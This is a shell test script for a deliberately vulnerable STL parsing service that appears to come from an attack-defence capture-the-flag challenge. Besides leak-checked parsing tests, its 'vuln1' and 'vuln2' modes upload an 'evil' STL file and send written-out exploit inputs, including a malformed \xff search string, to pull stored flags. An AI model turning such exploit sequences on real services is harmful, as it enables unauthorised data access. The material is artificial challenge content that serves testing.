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|
#!/bin/sh
set -e
if [ -z "$SRCDIR" -o -z "$DATADIR" ]; then
echo "Missing either SRCDIR or DATADIR env vars"
exit 1
fi
export RESULTDIR="$DATADIR/uploads"
export ECHO_INPUT=1
SCRIPTPATH="$(dirname $(readlink -f "$0"))"
TESTDATA="$SCRIPTPATH/data"
cd "$SRCDIR"
announce() {
count=$(echo "$1" | wc -c)
python3 -c "
import math
s = '$1'
c = 80
print()
print('#'*c)
print('#' + ' '*math.floor((c - len(s))/2-1) + s + ' '*math.ceil((c - len(s))/2-1) + '#')
print('#'*c)
print()
"
}
checkleaks() {
valgrind --leak-check=full --show-leak-kinds=all ./build/stldoctor 2>&1 | tee /tmp/testlog
if [ -z "$(grep "no leaks are possible" /tmp/testlog)" ]; then
echo "Valgrind exited with errors!"
exit 1
fi
}
connect() {
if [ "$RUNTYPE" == "remote" ]; then
nc localhost 9000
elif [ "$RUNTYPE" == "debug" ]; then
checkleaks
else
./build/stldoctor
fi
}
cleanuploads() {
[ ! -z "$RESULTDIR" ] && rm -rf "$RESULTDIR"
mkdir -p "$RESULTDIR"
}
if [ "$1" == "stl" ]; then
cleanuploads
announce "Testing ASCII STL Parsing"
(
echo "echo"
echo "upload"
cat "$TESTDATA/sample-ascii.stl" | wc -c
cat "$TESTDATA/sample-ascii.stl"
echo "ASCII-testname"
) | checkleaks
announce "Testing BIN STL Parsing"
(
echo "echo"
echo "upload"
cat "$TESTDATA/sample-binary.stl" | wc -c
cat "$TESTDATA/sample-binary.stl"
echo "BIN-testname"
) | checkleaks
elif [ "$1" == "vuln1" ]; then
cleanuploads
announce "Testing Flagstore 1"
echo -e "\n--- Uploading target STL ---\n" 1>&2
(
echo "echo"
echo "upload"
cat "$TESTDATA/flag1.stl" | wc -c
cat "$TESTDATA/flag1.stl"
echo "N0TaFL4G"
echo "exit"
) | connect
echo -e "\n--- Uploading evil STL ---\n" 1>&2
(
echo "echo"
echo "upload"
cat "$TESTDATA/evil1.stl" | wc -c
cat "$TESTDATA/evil1.stl"
echo "EV1L"
echo "exit"
) | connect
echo -e "\n--- Testing Exploit ---\n" 1>&2
(
echo "echo"
# try index 0
echo "search"
echo "EV1L"
echo "0"
echo "n"
echo "search last"
echo "0"
echo "n"
# try index 1
echo "search"
echo -e "EV1L"
echo "0"
echo "n"
echo "search last"
echo "1"
echo "n"
echo "exit"
) | connect
elif [ "$1" == "vuln2" ]; then
cleanuploads
announce "Testing Flagstore 2"
echo -e "\n--- Uploading target STL ---\n" 1>&2
(
echo "echo"
echo "auth test"
echo "upload"
cat "$TESTDATA/flag1.stl" | wc -c
cat "$TESTDATA/flag1.stl"
echo "N0TaFL4G"
echo "exit"
) | connect
echo -e "\n--- Testing Exploit ---\n" 1>&2
(
echo "echo"
echo -e "search \xff\xff\xff\xff\xff0000000000000000"
echo "auth"
echo "list"
echo "exit"
) | connect
elif [ "$1" == "authupload" ]; then
cleanuploads
(
echo "echo"
echo "auth test"
echo "upload"
cat "$TESTDATA/sample-ascii.stl" | wc -c
cat "$TESTDATA/sample-ascii.stl"
echo "testname"
) | connect
(
echo "echo"
echo "auth test"
echo "list"
echo "search testname"
) | connect
else
connect
fi
|
